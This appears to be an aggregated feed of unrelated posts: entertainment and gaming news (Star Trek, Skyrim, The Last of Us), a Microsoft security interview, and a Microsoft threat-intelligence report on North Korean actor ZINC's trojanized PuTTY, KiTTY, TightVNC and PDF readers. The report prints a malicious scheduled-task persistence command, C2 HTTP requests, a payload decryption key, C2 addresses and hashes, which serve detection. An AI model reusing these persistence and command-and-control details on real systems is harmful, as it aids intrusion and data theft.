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Every year, billions of credentials appear online, be it on the dark web, clear web, paste sites, or in data dumps shared by cybercriminals. These credentials are often used for account takeover attacks, exposing organizations to breaches, ransomware, and data theft.  While CISOs are aware of growing identity threats and have multiple tools in their arsenal to help reduce the potential risk, the

This post contains spoilers for the latest episode of "Star Trek: Lower Decks" and the series finale of "Star Trek: Deep Space Nine."

The latest episode of "Star Trek: Lower Decks," called "Hear All, Trust Nothing," sees the U.S.S. Cerritos being called -- at the last minute -- to oversee a diplomatic mission with a species from the Gamma Quadrant. The negotiations involve a generous gift from the Federation -- many, many kegs of liquor -- and takes place on Deep Space Nine, a space station that, Trekkies know, had its very own seven-year-long TV series from 1993 to 1999. 

As briefly as possible: "Star Trek: Deep Space Nine" was set aboard a station that was built by the fascistic, militant Cardassians while they aggressively occupied Bajor, the planet below. When the Cardassian regime fell, the Bajorans took control of the station along with a retinue of Starfleet officers assigned to oversee Bajor's reconstruction. Much of the show was devoted to Starfleet characters interacting with non-Federation citizens, having to deal with criminality, commerce, and military aggression not seen in other Trek shows. An added wrinkle: Deep Space Nine, as Starfleet learns in the show's pilot, is located next to a stable wormhole that leads into the Gamma Quadrant, thousands of lightyears away. DS9 will eventually go to war with an aggressive "anti-Federation" -- called the Dominion -- on the other side. 

The cast of "Deep Space Nine" was large, and, over its run, added more and more characters until the ensemble topped off in the high twenties. When the crew of the Cerritos docks, only two of the station's recognizable faces remain: the clever con man Quark (Armin Shimerman), and the station Colonel, Kira Nerys (Nana Visitor). Other characters have appeared but, well, because "Deep Space Nine" was overwhelmingly incidental, many of the main cast had moved away or died by the series finale. 

Whither The Niners?

The final episode of "Deep Space Nine" -- "What You Leave Behind" (May 31, 1999) -- was set in the year 2375. This season of "Lower Decks," is set in the year 2383. Although an entire TV series worth of events could have happened in that eight-year span, DS9 seems to be as mellow a place as when last audiences saw it. Colonal Kira is still in charge, and Quark is still running the station tavern. It's significant that Quark is still there, as his species, the Ferengi, had declared they would be kinder and gentler and less devoted to profit and business. Quark, being a deeply principled character, announced that he would remain on the station deliberately to defy the new Ferengi ethic. That he is still at the same bar eight years on only proves how devoted he was. 

Captain Benjamin Sisko (Avery Brooks) is absent for metaphysical reasons. Sisko was the first person to make contact with a species of noncorporeal god aliens that live inside the wormhole. The wormhole aliens were declared deities -- called the Prophets -- by the Bajoran people, and Sisko became a holy figure -- the Emissary -- in their faith. As the show progressed, Sisko's interactions with the Prophets altered his consciousness in ineffable ways, and he became concerned that he might actually be on some sort of holy quest. "What You Leave Behind" saw Sisko entering the wormhole ... and not exiting. In a practical sense, Sisko went to Heaven. 

The former DS9 commander, the wicked Gul Dukat (Mark Alaimo), encountered a similar fate. He fell in league with anti-Prophets called pah wraiths. He and Sisko have a supernatural fistfight, causing the wraiths to be overwhelmed. In a practical sense, Dukat went to Hell.

Odo, Worf, Bashir, Dax And O'Brien

DS9's security chief was a changeling named Odo (René Auberjonois). At the start of the series, Odo had no memory of where he came from. He later learns that he is part of a long-lived liquid species called the Founders ... who founded the Dominion. By the end of the show, the Founders are afflicted with a disease that is killing them, and Odo, having learned to be loving and compassionate after his time with people -- and after having a loving relationship with Kira -- returns to the Founders to heal them. As far as audiences know, Odo is still park of a lake of liquid beings called the Great Link. 

Worf (Michael Dorn) left Lt. Dax (Terry Ferrell) when she shunted into the body of Ezri (Nicole DeBoer), and Ezri ended up instigating a relationship with the brilliant Dr. Bashir (Alexander Siddig). Worf, with an extended and auspicious career in Starfleet, was offered an ambassadorship to the Klingon homeworld, which he accepted. Worf will reappear, greyer and presumably wiser, on the next season of "Star Trek: Picard." As far as we know, Dr. Bashir and Ezri Dax could still be aboard the station, although they do not appear in this week's episode of "Lower Decks." 

The station's chief engineer, Chief O'Brien (Colm Meany) was established in a previous episode of "Lower Decks" as the most important person in Starfleet history (in a cheek flash-forward to the distant future, O'Brien is called as much by a placid schoolteacher). On his way to such an auspicious position, O'Brien was asked to return to Starfleet Academy where he will become a teacher, an occupation also held by his wife Keiko (Rosalind Chao).  

Other Characters

As mentioned, "Deep Space Nine" featured several dozen main characters, all of whom scattered at the end of the series. 

Quark's brother, Rom (Max Grodénchik) was considered something of a hapless dolt, but was in fact a brilliant engineer, was very business savvy, and was charming enough to dazzle his beautiful co-worker Leeta (Chase Masterson). At the end of "Deep Space Nine," Rom became the Grand Nagus of the Ferengi homeworld. It's sort of like the planet's combined ruler and pope. 

Rom's son Nog (Aron Eisenberg) had become the first Ferengi in Starfleet, and had just been promoted to Lieutenant Commander. Presumably, his career in Starfleet continued apace. In an episode of "Star Trek: Discovery," set in the distant future, a Starfleet vessel would be named the U.S.S. Nog, so Nog's career, it seems, became quite noteworthy. 

Kasidy Yates-Sisko (Penny Johnson Jerald) was left behind by the ascended Benjamin, pregnant with his child. Sisko's new child is not mentioned on "Lower Decks," nor is his adult son Jake (Cirroc Lofton), who was last seen living on the station, trying to make his way as a writer. 

Kai Winn (Louise Fletcher), the opportunistic holy leader of the Bajoran people, had an affair with Gul Dukat, and ended up unleashing demons from Hell, largely due to jealousy of Sisko's holy status. Kai Winn was an amazing villain, as she chose wickedness for logical, power-hungry reasons. She would end up saving the day by helping to halt the pah wraiths in the fistfight between Dukat and Sisko. Where she ended up, who can say? 

R.I.P. Louise Fletcher, Aron Eisenberg, and René Auberjonois. 

Read this next: The Strongest Star Trek Villains Ranked

The post Let's Pay Tribute to the Star Trek: Deep Space Nine Characters Who Couldn't Return For Lower Decks appeared first on /Film.

The post Hocus Pocus 2 – Disney+ Review (3/5) appeared first on Heaven of Horror.

Report shows that forty-five percent of companies have had four or more cloud incidents in the last year

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If you somehow haven't played Skyrim yet, it's out...again

The Elder Scrolls V: Skyrim Anniversary Edition is out now on Switch, thanks to a sudden eShop drop from Bethesda. Wait, the Switch already had Skyrim?! About that!

As a reminder, nearly five years ago, Skyrim came out on Switch (and subsequently, every device ever). "I knew it!" you're all saying right now. The one that's coming out today on the platform is actually the "Skyrim Anniversary Edition," which has the following features:

"The Elder Scrolls V: Skyrim celebrates 10 years of adventuring in stunning detail. The Anniversary Edition includes a decade worth of content: the critically acclaimed core game and add-ons of Skyrim Special Edition, plus pre-existing and new content from Creation Club including quests, dungeons, bosses, weapons, spells, and more."

What does Skyrim Anniversary Edition on Switch actually have?

Those features, to be exact, include:

"The core game, pre-existing and new Creation Club content, plus all three official add-ons: Dawnguard, Hearthfire, and Dragonborn."

Nintendo of Europe points out that in addition to buying this new "complete bundle" for $69.99, you can also upgrade your existing version for $19.99. Of course, it's almost parody at this point: putting some convoluted version of Skyrim out on some other platform randomly without warning.

(Cue the old man voice) Back in my day, we played Skyrim with no mods or DLC! And it was...sort of OK! But eventually small-to-large DLC packs came out for it, some mods rose in popularity (and were integrated into the game by proxy), and then a GOTY edition came, and the rest is history. We're stuck in an endless time loop of Skyrim, with Skyrim Anniversary Edition being the latest version.

The post The Elder Scrolls V: Skyrim Anniversary Edition just dropped on Switch with no warning appeared first on Destructoid.

Working on my book Fight, Magic, Items: The History of Final Fantasy, Dragon Quest, and the rise of Japanese RPGs in the West took me back through the annals of JRPG history. Along the way, I was reintroduced to many of the classic titles that defined the genre—from its earliest days on the NES, to the golden age …

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The security community is continuously changing, growing, and learning from each other to better position the world against cyberthreats. In the latest post of our Community Voices blog series, Microsoft Security Senior Product Marketing Manager Brooke Lynn Weenig talks with Alissa “Dr. Jay” Abdullah, Ph.D., Deputy Chief Security Officer of Mastercard and former Deputy Chief Information Officer in the Executive Office of the President for the Obama Administration. The thoughts below reflect Alissa’s views, not the views of Microsoft, and are not legal advice. In this blog post, Alissa talks about the role data and identity play in the future of cybersecurity.

Brooke: How did you get into cybersecurity?

Alissa: I started out as a radio DJ while I was an undergraduate at Savannah State University. Originally, I was a mass communications major, but my university English professor urged me to move away from that. At the same time, my mathematics professor was urging me to change my major to math. Ultimately, I decided to major in math.

After graduation, I used my mathematics degree to work my way into information technology and began a career within the Department of Defense. As a certified Cryptologic Engineer, I toggled between information technology and information assurance—both cyber-adjacent areas. Over the course of my career, I have sought out roles that let me grow in both areas. This approach took me across the private sector before I was eventually appointed by President Barack Obama to help lead White House technology (which included cybersecurity) in 2012. It was while I served in the White House that my passion for—and appreciation of—cybersecurity really took off. 

Brooke: Why is comprehensive identity and access management (IAM) necessary within an organization’s cybersecurity approach?

Alissa: If you think about the future of cybersecurity, it is an amalgamation of many different aspects.  One of those is the future of data. 

The relevance of data is built on many different aspects—specifically calling out the importance of identity tied to the data, whether that is a human identity, machine identity, or something else. So, as we talk about where we are now with cybersecurity and where we will be in the future, it greatly hinges on IAM. It hinges on the identity tied to data and tied to systems. It hinges on getting access to what you need, when you need it, and how you need it without going further than that. 

The strategy of the future contains boundaries that give you what you need while limiting yourself to include only those things. That way, you shrink the threat landscape in anticipation of a bad day. A strong IAM strategy provides just that. It protects aspects of the various identities while allowing for the appropriate amount of access. The future of cybersecurity will hinge on how well we handle identities and access. 

Brooke: What are the most common access security gaps within organizations? 

Alissa: I sum up the gap with one word—culture. That is the most common gap. What I mean by that is we are used to the idea of having carte blanche access. The change to a Zero Trust mindset is a paradigm shift that can often cause angst in many environments. Some developers or data owners are anxious that the limitations provided in a Zero Trust environment will impact innovation. When done right, it enhances innovation and pushes security to the edge. 

Brooke: Compromised passwords are the number one way in for attackers. What should organizations do to address this?

Alissa: The easiest solution for me to recommend is a passwordless environment, but to be honest, no solution is attack-proof on its own. We have heard attacks that include multifactor authentication fatigue and those where the adversary is paying employees to provide multifactor authentication approvals to compromised accounts. The best step for most environments is to move to passwordless, but the work does not stop there. A security-aware culture will be an additional line of defense.  

Brooke: President Biden’s 2021 Executive Order on Cybersecurity mandated a Zero Trust approach for all government agencies. What can private organizations learn from the Executive Order?

Alissa: The Executive Order really formalized the work that organizations in both the public and private sectors were doing together through strong partnerships and a collaborative working relationship. We have had many conversations around Zero Trust and its implementation together and separately. We can continue with the good foundation started and expand the learnings between the different environments. 

Brooke: Microsoft recently released multicloud Microsoft Entra Permissions Management, based on the Cloud Knox acquisition, within the Microsoft Entra product family, which also includes Microsoft Azure Active Directory and Microsoft Entra Verified ID. Why is permissions management important as part of a strong identity strategy?

Alissa: Let us start with two assumptions: 

First, a lot of the future will be based on identities. If you start to decouple identity information from the data, the data becomes less relevant. Second, the future relies heavily on cloud-based architectures. These are not absolutes but are statements that describe the future as we know it today. 

If we take both of those as great starting points, then you easily move into the need to manage entitlements and permissions in the cloud environments. We cannot be myopic in our view of identities. Just as we seamlessly want to manage user identities, those entitlements in the cloud are equally important and we should not have to chase down entitlements in every cloud platform. An integrated model helps with visibility, automation, and policy management.

Brooke: What basic elements of security should organizations expect to be built into any cloud platform for a strong security foundation? 

Alissa: Cloud platforms have many security elements ready to customize that will provide the level of security that you need for your data. Some examples that I can think of are data encryption, intrusion detection with event logging, and application security protections, just to name a few.  

It is important to think of security protections in layers—data, application, and infrastructure. Cloud platforms have options that allow you to protect each layer and negotiate the level of security for your situation with the cloud service provider.

Brooke: What are three things an organization should absolutely make sure they have implemented for a strong digital identity framework? 

Alissa: First, a strong digital identity framework should include many layers, but those layers cannot be seen as complexities. The layers should help provide clarity on the security state of digital identities within an environment. 

Second, solutions have to be adopted and executed in a timely way so that the biggest benefit is reached. Solutions like multifactor authentication and passwordless not only enhance your digital identity framework but also enhance your user experience. 

Third, the identity framework needs to be comprehensive. There are so many different types of identities, and the framework needs to include the management and security of all identities—including employee, machine, service, and cloud. If you miss including one area, you could potentially open that area up to the adversary. 

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To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post CSO perspective: Why a strong IAM strategy is key to an organization’s cybersecurity approach appeared first on Microsoft Security Blog.

In recent months, Microsoft has detected a wide range of social engineering campaigns using weaponized legitimate open-source software by an actor we track as ZINC. Microsoft Threat Intelligence Center (MSTIC) observed activity targeting employees in organizations across multiple industries including media, defense and aerospace, and IT services in the US, UK, India, and Russia. Based on the observed tradecraft, infrastructure, tooling, and account affiliations, MSTIC attributes this campaign with high confidence to ZINC, a state-sponsored group based out of North Korea with objectives focused on espionage, data theft, financial gain, and network destruction.

Beginning in June 2022, ZINC employed traditional social engineering tactics by initially connecting with individuals on LinkedIn to establish a level of trust with their targets. Upon successful connection, ZINC encouraged continued communication over WhatsApp, which acted as the means of delivery for their malicious payloads.

MSTIC observed ZINC weaponizing a wide range of open-source software including PuTTY, KiTTY, TightVNC, Sumatra PDF Reader, and muPDF/Subliminal Recording software installer for these attacks. ZINC was observed attempting to move laterally and exfiltrate collected information from victim networks. The actors have successfully compromised numerous organizations since June 2022. The ongoing campaign related to the weaponized PuTTY was also reported by Mandiant earlier this month. Due to the wide use of the platforms and software that ZINC utilizes in this campaign, ZINC could pose a significant threat to individuals and organizations across multiple sectors and regions.

Microsoft Defender for Endpoint provides comprehensive protection against tools and custom malware used by ZINC, including ZetaNile. The hunting queries provided at the end of this blog will help customers comprehensively search their environments for relevant indicators. As with any observed nation-state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts. 

Who is ZINC? 

ZINC is a highly operational, destructive, and sophisticated nation-state activity group. Active since 2009, the activity group gained further public notoriety in 2014 following their successful attack against Sony Pictures Entertainment. ZINC is known to use a variety of custom remote access tools (RATs) as part of their arsenal, including those detected by Microsoft as FoggyBrass and PhantomStar.  

Microsoft researchers have observed spear-phishing as a primary tactic of ZINC actors, but they have also been observed using strategic website compromises and social engineering across social media to achieve their objectives. ZINC targets employees of companies it’s attempting to infiltrate and seeks to coerce these individuals into installing seemingly benign programs or opening weaponized documents that contain malicious macros. Targeted attacks have also been carried out against security researchers over Twitter and LinkedIn.

ZINC attacks appear to be motivated by traditional cyberespionage, theft of personal and corporate data, financial gain, and corporate network destruction. ZINC attacks bear many hallmarks of state-sponsored activities, such as heightened operational security, sophisticated malware that evolves over time, and politically motivated targeting.

ZINC, tracked by other security companies as Labyrinth Chollima and Black Artemis, has been observed conducting this campaign from late April to mid-September 2022.

Observed actor activity

Impersonation and establishing contact

LinkedIn Threat Prevention and Defense detected ZINC creating fake profiles claiming to be recruiters working at technology, defense, and media entertainment companies, with the goal of moving targets away from LinkedIn and to the encrypted messaging app WhatsApp for the delivery of malware. ZINC primarily targeted engineers and technical support professionals working at media and information technology companies located in the UK, India, and the US. Targets received outreach tailored to their profession or background and were encouraged to apply for an open position at one of several legitimate companies. In accordance with their policies, for accounts identified in these attacks, LinkedIn quickly terminated any accounts associated with inauthentic or fraudulent behavior.

Multiple methods used for delivery of ZetaNile

MSTIC has observed at least five methods of trojanized open-source applications containing the malicious payload and shellcode that is tracked as the ZetaNile malware family. The ZetaNile implants, also known as BLINDINGCAN, have been covered in CISA and JPCERT reports. The implant DLLs in the ZetaNile malware family are either packed with commercial software protectors such as Themida and VMProtect or are encrypted using custom algorithms. The payload in the malicious DLL is decrypted using a custom key, passed as part of the DLL search order hijacking of the legitimate Windows process, as shown in Figure 3. The ZetaNile implants use unique custom encryption methods or AES encryption to generate command and control (C2) HTTP requests to known compromised C2 domains. By encoding the victim information in the parameters for common keywords like gametype or bbs in the HTTP POSTs, these C2 communications can blend in with legitimate traffic.

Weaponization of SSH clients

Once they have established a connection with their target, ZINC operationalized malicious versions of two SSH clients, PuTTY and KiTTY, that acted as the entry vector for the ZetaNile implant. Both utilities provide terminal emulator support for different networking protocols, making them attractive programs for individuals commonly targeted by ZINC. The weaponized versions were often delivered as compressed ZIP archives or ISO files. Within that archive, the recipient is provided a ReadMe.txt and an executable file to run. As part of the evolution of ZINC’s malware development, and in an effort to evade traditional defenses, running the included executable does not drop the ZetaNile implant. For ZetaNile to be deployed, the SSH utility requires the IP provided in the ReadMe.txt file. An example of the content of that file is provided below:

Server: 137[.]184[.]15[.]189
User: [redacted]
Pass: [redacted]

Weaponized PuTTY malware

ZINC has been using trojanized PuTTY as part of its attack chain for many years, and this most recent variant establishes persistence on compromised devices by utilizing scheduled tasks. This activity was recently reported by Mandiant. The malicious PUTTY.exe is configured to install the Event Horizon malware in C:\ProgramData\colorui.dll and subsequently copy C:\Windows\System32\colorcpl.exe to C:\ProgramData\colorcpl.exe.  By using DLL search order hijacking, ZINC can load the second stage malware, colurui.dll, and decode the payload with the key “0CE1241A44557AA438F27BC6D4ACA246” to be used for command and control. Upon successful connection to the C2 server, the attackers can install additional malware on the compromised device for other tasks.

Lastly, persistence is established with the creation of a daily scheduled task, PackageColor, as part of the configuration for the weaponized PuTTY. ZINC accomplishes this with the following command:

Weaponized KiTTY malware

While ZINC has utilized weaponized PuTTY for many years, ZINC has only recently expanded their capabilities to include weaponizing a fork of PuTTY called KiTTY. The executable first collects the username and hostname of the victim system and sends that information to a hardcoded IP 172[.]93[.]201[.]253 over TCP/22. Upon successful TCP connection to the server at 137[.]184[.]15[.]189, the malicious KiTTY executable then deploys the malware as %AppData%\mscoree.dll following multiple rounds of decoding. The mscoree.dll file is the embedded payload, detected as EventHorizon, in the ZetaNile malware family. Similar to ZINC’s version of PuTTY, the actor uses DLL search order hijacking to load malicious DLL files that perform tasks within the context of these legitimate Windows processes, specifically through %AppData%KiTTY%PresentationHost.exe -EmbeddingObject.

The mscoree.dll malware is modularized in such a way that, upon successful connection to the compromised C2 domain, the attackers can install additional malware on the target system as needed using the existing C2 communication, such as executing C:\ProgramData\Cisco\fixmapi.exe -s AudioEndpointBuilder to load malicious mapistub.dll from the compromised C2 server. The HTTP POST requests contain the hardcoded user agent string with misspelled “Edge”, as detailed below, and contain a unique ID for the field gametype and the hardcoded value for the field type for malware campaign tracking purposes:

POST /wp-includes/php-compat/compat.php HTTP/1.1 Accept: text/* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/100.0.1185.39 Content-Type: application/x-www-form-urlencoded Content-Length: 39 Host: olidhealth[.]com Connection: Keep-Alive Cache-Control: no-cache   gametype=[UniqueId]&type=O8Akm8aV09Nw412KoWJds

Weaponized TightVNC Viewer

Beginning in September 2022, ZINC was observed utilizing a trojanized TightVNC Viewer that was delivered to a target alongside a weaponized SSH utility over WhatsApp. This malware has a unique PDBPath:

N:\2.MyDevelopment\3.Tools_Development\4.TightVNCCustomize\Munna_Customize\tightvnc\x64\\Release\tvnviewer.pdb

The weaponized versions of TightVNC Viewer often were delivered as compressed ZIP archives or job description-themed ISO files via online platforms such as WhatsApp. Within that archive, the recipient is provided a ReadMe.txt and an executable file to run. The .txt file has the following content:

Platform: 2nd from the list
User: [redacted]
Pass: [redacted]

As part of the threat actor’s latest malware technique to evade traditional defenses, the malicious TightVNC Viewer has a pre-populated list of remote hosts, and it’s configured to install the backdoor only when the user selects ec2-aet-tech.w-ada[.]amazonaws from the drop-down menu in the TightVNC Viewer, as shown in Figure 5:

The malware was configured to send the username and hostname to IP 44[.]238[.]74[.]84 on TCP/22 as part of the victim check-in with the C2 and establish VNC connections to the same IP on port TCP/5900. Once a successful connection is established to the server IP, the embedded second stage DLL payload from TightVNC.exe is loaded in memory to establish C2 communication to a known compromised domain.

Weaponization of Sumatra PDF reader and muPDF/Subliminal Recording installer

ZINC has operationalized malicious versions of two PDF readers, Sumatra PDF and muPDF/Subliminal Recording installer, that act as the entry vector for the ZetaNile implant. This delivery mechanism is often utilized in relation to fraudulent job postings delivered to job-seeking targets in the IT and defense sector. The weaponized versions were often delivered as compressed ZIP archives. Within that archive, the recipient is provided with an executable file to run. While the malicious Sumatra PDF reader is a fully functional PDF reader that can load the malicious implant from a fake PDF, the muPDF/Subliminal Recording installer can set up the backdoor without loading any malicious PDF files.

Trojanized Sumatra PDF Reader

The trojanized version of Sumatra PDF Reader named SecurePDF.exe has been utilized by ZINC since at least 2019 and remains a unique ZINC tradecraft. SecurePDF.exe is a modularized loader that can install the ZetaNile implant by loading a weaponized job application themed file with a .PDF extension. The fake PDF contains a header “SPV005”, a decryption key, encrypted second stage implant payload, and encrypted decoy PDF, which is rendered in the Sumatra PDF Reader when the file is opened.

Once loaded in memory, the second stage malware is configured to send the victim’s system hostname and device information using custom encoding algorithms to a C2 communication server as part of the C2 check-in process. The attackers can install additional malware onto the compromised devices using the C2 communication as needed.

Trojanized muPDF/Subliminal Recording installer

Within the trojanized version of muPDF/Subliminal Recording installer, setup.exe is configured to check if the file path ISSetupPrerequisites\Setup64.exe exists and write C:\colrctl\colorui.dll on disk after extracting the embedded executable inside setup.exe. It then copies C:\Windows\System32\ColorCpl.exe to C:\ColorCtrl\ColorCpl.exe. For the second stage malware, the malicious installer creates a new process C:\colorctrl\colorcpl.exe C3A9B30B6A313F289297C9A36730DB6D, and the argument C3A9B30B6A313F289297C9A36730DB6D gets passed on to colorui.dll as a decryption key. The DLL colorui.dll, which Microsoft is tracking as the EventHorizon malware family, is injected into C:\Windows\System\credwiz.exe or iexpress.exe to send C2 HTTP requests as part of the victim check-in process and to get an additional payload.

POST /support/support.asp HTTP/1.1 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E) Content-Length: 125 Host: www.elite4print[.]com   bbs=[encrypted payload]= &article=[encrypted payload]

Microsoft will continue to monitor ZINC activity and implement protections for our customers. The current detections and IOCs in place across our security products are detailed below.

Recommended customer actions

The techniques used by the actor and described in the “Observed actor activity” section can be mitigated by adopting the security considerations provided below:

• Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion.
• Block in-bound traffic from IPs specified in the “Indicators of compromise” table.
• Review all authentication activity for remote access infrastructure, with a particular focus on accounts configured with single factor authentication, to confirm authenticity and investigate any anomalous activity.
• Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity.  NOTE: Microsoft strongly encourages all customers download and use password-less solutions like Microsoft Authenticator to secure your accounts.
• Educate end users about preventing malware infections, including by ignoring or deleting unsolicited and unexpected emails with ISO attachments. Encourage end users to practice good credential hygiene—limit the use of accounts with local or domain admin privileges and turn on Microsoft Defender Firewall to prevent malware infection and stifle propagation.
• Educate end users about protecting personal and business information in social media, filtering unsolicited communication, identifying lures in spear-phishing email and watering holes, and reporting of reconnaissance attempts and other suspicious activity.

Indicators of compromise (IOCs)

The below list provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

Indicator	Type	Description
Amazon-KiTTY.exe	File name
Amazon_IT_Assessment.iso	File name
IT_Assessment.iso	File name
amazon_assessment_test.iso	File name
SecurePDF.exe	File name
C:\ProgramData\Comms\colorui.dll	File path	Malicious PuTTY implant
%APPDATA%\KiTTY\mscoree.dll	File path	Malicious KiTTY implant
172.93.201[.]253	IP address	Adversary C2 server
137.184.15[.]189	IP address	Adversary SSH server
44.238.74[.]84	IP address	Hard-coded VNC Server IP for malicious TightVNC
c:\windows\system32\schtasks.exe /CREATE /SC DAILY /MO 1 /ST 10:30 /TR “C:\Windows\System32\cmd.exe /c start /b C:\ProgramData\PackageColor\colorcpl.exe 0CE1241A44557AA438F27BC6D4ACA246” /TN PackageColor /F	Scheduled task name	Putty.exe – Scheduled task
1492fa04475b89484b5b0a02e6ba3e52544c264c294b57210404b96b65e63266	SHA-256	Malicious Putty.exe
aaad412aeb0f98c2c27bb817682f08673902a48b65213091534f96fe6f5494d9	SHA-256	Malicious colorui.dll
63cddab76e9d63e3cbea421b607342735d924e462c40f3917b1b5fbdf8d4a20d	SHA-256	Malicious Amazon-Kitty.exe
e1ecf0f7bd90553baaa83dcdc177e1d2b20d6ee5520f5d9b44cdf59389432b10	SHA-256	Malicious KiTTY implant for mscoree.dll
c5a470cdf6f57125a8671f6b8843149cc78ccbc1a7bc615f34b23d9f241312bf	SHA-256	Weaponized Sumatra PDFReader.exe
71beb4252e93291c7b14dfcb4cbb5d58144a76181fbe4aab3592121a3dbd9c55	SHA-256	Weaponized muPDF/Subliminal Recording installer
olidhealth[.]com/wp-includes/php-compat/compat.php	Compromised domain
hurricanepub[.]com/include/include.php	Compromised domain
turnscor[.]com/wp-includes/contacts.php	Compromised domain
elite4print[.]com/support/support.asp	Compromised domain
cats.runtimerec[.]com/db/dbconn.php	Compromised domain
recruitment.raystechserv[.]com/lib/artichow/BarPlotDashboard.object.php	Compromised domain
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/100.0.1185.39	User agent	Hardcoded Kitty.exe UA
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E)	User agent	Hardcoded SecurePDF.exe UA
N:\2.MyDevelopment\3.Tools_Development\4.TightVNCCustomize\Munna_Customize\tightvnc\x64\\Release\tvnviewer.pdb	PDBPath	PDBPath for malicious TightVNC
37e30dc2faaabaf93f0539ffbde032461ab63a2c242fbe6e1f60a22344c8a334	SHA-256	Malicious TightVNC
14f736b7df6a35c29eaed82a47fc0a248684960aa8f2222b5ab8cdad28ead745	SHA-256	Malicious TightVNC

NOTE: These indicators should not be considered exhaustive for this observed activity.

Detections

Microsoft Defender Antivirus

Microsoft Defender Antivirus and Microsoft Defender for Endpoint customers should look for the following family names for activity related to these attacks:

• ZetaNile
• EventHorizon
• FoggyBrass
• PhantomStar

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts could indicate activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• Suspicious Task Scheduler activity
• Suspicious connection to remote service
• A suspicious file was observed
• An executable loaded an unexpected dll
• Possible theft of remote session credentials
• Suspicious connection to remote service

Advanced hunting queries

Microsoft Sentinel

Microsoft Sentinel customers can use the following queries to look for the related malicious indicators in their environments.

Identify ZINC IP/domain/hash IOC

This query identifies a match across various data feeds for IP/Domain IOCs related to the Zinc actor as shared in this blog post.

https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Zinc Open Source/Analytic Rules/ZincOctober2022_IP_Domain_Hash_IOC.yaml

Identify ZINC filename/command line IOC

To locate possible Zinc Filename/command line activity shared in the blog Microsoft Sentinel customers can use the queries below:

https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Zinc Open Source/Analytic Rules/ZincOctober2022_Filename_Commandline_IOC.yaml

Identify ZINC AV hits IOC

This query looks for Microsoft Defender AV detections related to Zinc actor as shared in the blog post:

https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Zinc Open Source/Analytic Rules/ZincOctober2022_AVHits_IOC.yaml

Microsoft 365 Defender

To locate related activity, Microsoft 365 Defender customers can run the following advanced hunting queries:

Suspicious mapistub.dll file creation

Look for PresentationHost.exe creating mapistub.dll, likely for use in DLL search order hijacking attacks.

DeviceFileEvents
| where InitiatingProcessFileName =~ "presentationhost.exe"
| where FileName =~ "mapistub.dll"

Suspicious mscoree.dll file creation

Look instances of mscoree.dll created by PuTTY processes. 

DeviceFileEvents
| where InitiatingProcessFileName hassuffix "kitty.exe" or InitiatingProcessVersionInfoInternalFileName has "PuTTY"
| where FileName =~ "mscoree.dll"

Suspicious colorcpl.exe image load

Surface instances of the colorcpl.exe process loading colorui.dll not in an expected path, indicative of a DLL search order hijacking attack. 

DeviceImageLoadEvents 
| where InitiatingProcessFileName =~ "colorcpl.exe"
| where FileName =~ "colorui.dll" and not(FolderPath has_any("system32", "syswow64", "program files"))

The post ZINC weaponizing open-source software appeared first on Microsoft Security Blog.

Kojima Productions released yesterday a patch that added support for both AMD FSR 2.0 and Intel XeSS in Death Stranding. As such, Death Stranding is the first game that supports all available PC upscaling techniques (DLSS, FSR and XeSS). And, as you might have guessed, we’ve decided to benchmark and compare them. For these benchmarks … Continue reading Death Stranding – Native 4K vs NVIDIA DLSS 2 vs AMD FSR 2.0 vs Intel XeSS benchmarks & comparison screenshots →

The post Death Stranding – Native 4K vs NVIDIA DLSS 2 vs AMD FSR 2.0 vs Intel XeSS benchmarks & comparison screenshots appeared first on DSOGaming.

Now that we’ve finally got a look at HBO’s The Last of Us Teaser Trailer, let’s go in and crack open some Easter Eggs!

The first teaser trailer for HBO’s The Last of Us series has finally dropped. Although many fans were eagerly hoping for some news of the show on The Last of Us Day (Outbreak Day) due to only seeing a handful of stills previously, no one could have anticipated what a fantastic jam-packed trailer our eyeballs were treated to.

As many TLOU enthusiasts have been doing across the globe, let’s break down the trailer while exploring some of its Easter Eggs ripped straight from the game.

The Last of Us | Official Teaser | HBO Max

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The Last of Us | Official Teaser | HBO Max

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• The Last of Us Part 1 Secrets: Players Can Find Out How Much Joel Weighs

HBO’s The Last of Us Trailer Soundtrack

Straight off the bat, we are hit right in the face with a whopper of an Easter Egg before we even get to the meat and potatoes. The 1951 song “Alone & Forsaken,” by Hank Williams is used as the soundtrack of the trailer but it was also played via a cassette Ellie found in the car scene with her and Joel in the Pittsburgh chapter just before they got their asses ambushed in The Last of Us game.

Just in case you can’t remember 10 years ago, and honestly, who can, the song was also featured during Gamescom 2012 when The Last of Us trailer was released.

When you’re lost in the darkness, look for the light

As Joel is walking along the streets of what looks to be a quarantine zone, we see some people have begun to paint over a red Firefly symbol as well as writing that states “When you’re lost in the darkness”. This is a nod to the Fireflies from both Last of Us games who were a revolutionary group against military oppression and used the saying as its mantra. It was Firefly Marlene, who we also see later on in the trailer, that asked Joel if he’d smuggle ‘precious cargo’ for the group out of the city, and of course, the cargo turned out to be Ellie and the rest, as they say, is history.

